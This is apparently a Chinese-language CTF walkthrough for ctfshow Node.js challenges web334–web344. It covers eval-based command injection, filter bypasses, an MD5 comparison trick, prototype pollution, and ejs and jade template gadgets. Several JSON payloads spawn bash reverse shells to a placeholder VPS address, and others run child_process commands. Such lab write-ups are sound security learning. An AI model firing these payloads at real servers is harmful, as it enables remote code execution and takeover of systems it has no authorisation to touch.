ctfshow NodeJs web334-web344 wp

什么是nodejs

Node.js 是一个基于 Chrome V8 引擎的 Javascript 运行环境。可以说nodejs是一个运行环境,或者说是一个 JS 语言解释器而不是某种库

Nodejs 是基于 Chrome 的 V8 引擎开发的一个 C++ 程序,目的是提供一个 JS 的运行环境。最早 Nodejs 主要是安装在服务器上,辅助大家用 JS 开发高性能服务器代码,但是后来 Nodejs 在前端也大放异彩,带来了 Web 前端开发的革命。Nodejs 下运行 JS 代码有两种方式,一种是在 Node.js 的交互环境下运行,另外一种是把代码写入文件中,然后用 node 命令执行文件代码。Nodejs 跟浏览器是不同的环境,写 JS 代码的时候要注意这些差异。

web334

user.js发现username: ‘CTFSHOW’, password: ‘123456’

源码在login.js,发现登录成功会拿到flag,即重点看登录部分

var findUser = function(name, password){
    
    
  return users.find(function(item){
    
    
    return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
  });
};

要求是name不等于CTFSHOW,第二行users.find就是取user.js部分,item.username=CTFSHOW,意思是name的大写为CTFSHOW也能通过判断,所以这里已经可以得到账号密码

username:ctfshow
password:123456

登录即可获得flag

web335

源代码发现/?eval=

然后传一个?eval=ls,回显是找不到文件,所以这里可能是去include一个文件之类的

但是测试一下发现连index.php都不能找到,于是我又传了一个eval=1,在index.php回显了一个1

在这里插入图片描述

考虑到这里是nodejs,eval很有可能是执行的eval函数。在nodejs中,eval()方法用于计算字符串,并把它作为脚本代码来执行,语法为“eval(string)”;如果参数不是字符串,而是整数或者是Function类型,则直接返回该整数或Function。

查看nodejs文档的child_process:http://nodejs.cn/api/child_process.html

注意到:child_process.exec(command[, options][, callback])

于是构造一个payload

require("child_process").execSync('ls')

发现flag:fl00g.txt,cat即可

web336

依旧是eval,但传之前的payload会显示 tql ,说明这里需要绕过

测试了一下,是过滤了exec字符串

这里想办法拼接exec来绕过

require("child_process")['exe'%2B'cSync']('ls')

看了下wp,这里是可以看到源码的

__filename 表示当前正在执行的脚本的文件名。它将输出文件所在位置的绝对路径,且和命令行参数所指定的文件名不一定相同。 如果在模块中,返回的值是模块文件的路径。 __dirname 表示当前执行脚本所在的目录。

于是传?eval=__filename可以看到路径为/app/routes/index.js

然后传eval=require(‘fs’).readFileSync(’/app/routes/index.js’,‘utf-8’)可以发现过滤了exec和load

web337

源码

var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
    
    
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
    
    
  res.type('html');
  var flag='xxxxxxx';
  var a = req.query.a;
  var b = req.query.b;
  if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
    
    
  	res.end(flag);
  }else{
    
    
  	res.render('index',{
    
     msg: 'tql'});
  }
  
});

module.exports = router;

要传入a和b,a和b要为真、a和b长度相等,a不等于b,a+flag和b+flag在md5后相等,则输出flag

这个好像在哪见过,但我实在是忘了,好像是在大赛原题板块有一道,绝对CTFSHOW大赛原题板块有一道这个,当时我还做了,肯定有!

首先想到的是传数组来绕过,但测试发现不行,于是通过控制台来调试看看

在这里插入图片描述

控制台测试了一下发现两个值并不相等

在这里插入图片描述

发现这样传的值相等,即传入a[:]=1&b[:]=2就能绕过

web338

和第一题一样的登录界面,下载源码解压

先随便传一个123 123,回显登录失败{“username”:“123”,“password”:“123”}

看源码,在routes/login.js中看到登录部分

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');

/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
    
    
  res.type('html');
  var flag='flag_here';
  var secert = {
    
    };
  var sess = req.session;
  let user = {
    
    };
  utils.copy(user,req.body);
  if(secert.ctfshow==='36dboy'){
    
    
    res.end(flag);
  }else{
    
    
    return res.json({
    
    ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }
  
});

module.exports = router;

其中还require了一个utils/common

//common.js
module.exports = {
    
    
  copy:copy
};

function copy(object1, object2){
    
    
    for (let key in object2) {
    
    
        if (key in object2 && key in object1) {
    
    
            copy(object1[key], object2[key])
        } else {
    
    
            object1[key] = object2[key]
        }
    }
  }

只要secert.ctfshow==='36dboy’就会打印出flag。考点是原型链污染,第一次接触,看看P神写的。
深入理解 JavaScript Prototype 污染攻击

顺便在看的时候发现common.js和P神里面举例的JS可以说是一模一样

于是尝试污染Object类,添加{“ctfshow”:“36dboy”}属性。在发包的时改一下

在这里插入图片描述

因为原型污染,secret对象直接继承了Object.prototype,所以就导致了secert.ctfshow==='36dboy'

在这里插入图片描述

web339

login.js里新增与修改了

//login.js
function User(){
    
    
  this.username='';
  this.password='';
}
function normalUser(){
    
    
  this.user
}
......
if(secert.ctfshow===flag){
    
    
    res.end(flag);
......

此外还新增了一个api.js

//api.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');

/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
    
    
  res.type('html');
  res.render('api', {
    
     query: Function(query)(query)});
});

module.exports = router;

又是新知识点捏

预期解

漏洞点在res.render('api', { query: Function(query)(query)});

Function里的query变量没有被引用,通过原型污染给它赋任意值就可以进行rce。

{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/[vps-ip]/[port] 0>&1\"')"}}

在index界面POST之后直接POST访问api界面即可

玛德新买的那台服务器忘了开安全组我硬弹了20分钟,蚌埠住了

flag在login.js里

在这里插入图片描述

这样说明成功了

在这里插入图片描述

非预期解

ejs模板漏洞导致rce(Code-Breaking 2018 Thejs题(可见P神博客,就之前的那个链接))

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/[vps-ip]/[port] 0>&1\"');var __tmp2"}}

payload使用方法同上,先index发包再api发包

web340

这次login里面多定义了

//login.js
  var user = new function(){
    
    
    this.userinfo = new function(){
    
    
    this.isVIP = false;
    this.isAdmin = false;
    this.isAuthor = false;     
    };
  }
    utils.copy(user.userinfo,req.body);
  if(user.userinfo.isAdmin){
    
    
   res.end(flag);

这里需要污染两级,可以看yu师傅的博客https://blog.csdn.net/miuzzx/article/details/111780832#web339_48

里面有一个举例

{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps-ip/port 0>&1\"')"}}}

web341

这次删除了api,此外login也改了

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');

/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
    
    
  res.type('html');
  var user = new function(){
    
    
    this.userinfo = new function(){
    
    
    this.isVIP = false;
    this.isAdmin = false;
    this.isAuthor = false;     
    };
  };
  utils.copy(user.userinfo,req.body);
  if(user.userinfo.isAdmin){
    
    
    return res.json({
    
    ret_code: 0, ret_msg: '登录成功'});  
  }else{
    
    
    return res.json({
    
    ret_code: 2, ret_msg: '登录失败'});  
  }
  
});

module.exports = router;

这里就用339的非预期,是这题的预期解。注意的是要嵌套,因为是340的改版。

{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps-ip/port 0>&1\"');var __tmp2"}}}

然后随便访问界面即可,比如首页刷新一下,连上后直接输入env看环境变量即可找到flag

在这里插入图片描述

web342-343

这里据说是jade rce(https://xz.aliyun.com/t/7025),因为我没去了解过,所以这里就照师傅们的打了

{"__proto__":{"__proto__":{"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/vps-ip/port 0>&1\"')"}}}

发包的时候请求头中的“Content-Type”改为"application/json"

在这里插入图片描述

找flag依旧是env

web344

router.get('/', function(req, res, next) {
    
    
  res.type('html');
  var flag = 'flag_here';
  if(req.url.match(/8c|2c|\,/ig)){
    
    
  	res.end('where is flag :)');
  }
  var query = JSON.parse(req.query.query);
  if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
    
    
  	res.end(flag);
  }else{
    
    
  	res.end('where is flag. :)');
  }

});

过滤了逗号,甚至还过滤了%2c,然后%2c正好也是逗号

总之要传?query={"name":"admin"&query="password":"ctfshow"&query="isVIP":true}

这里直接把要传的参都给url编码就可以了

?query=%7b%22%6e%61%6d%65%22%3a%22%61%64%6d%69%6e%22&query=%22%70%61%73%73%77%6f%72%64%22%3a%22%63%74%66%73%68%6f%77%22&query=%22%69%73%56%49%50%22%3a%74%72%75%65%7d

猜你喜欢

转载自blog.csdn.net/qq_42880719/article/details/122567506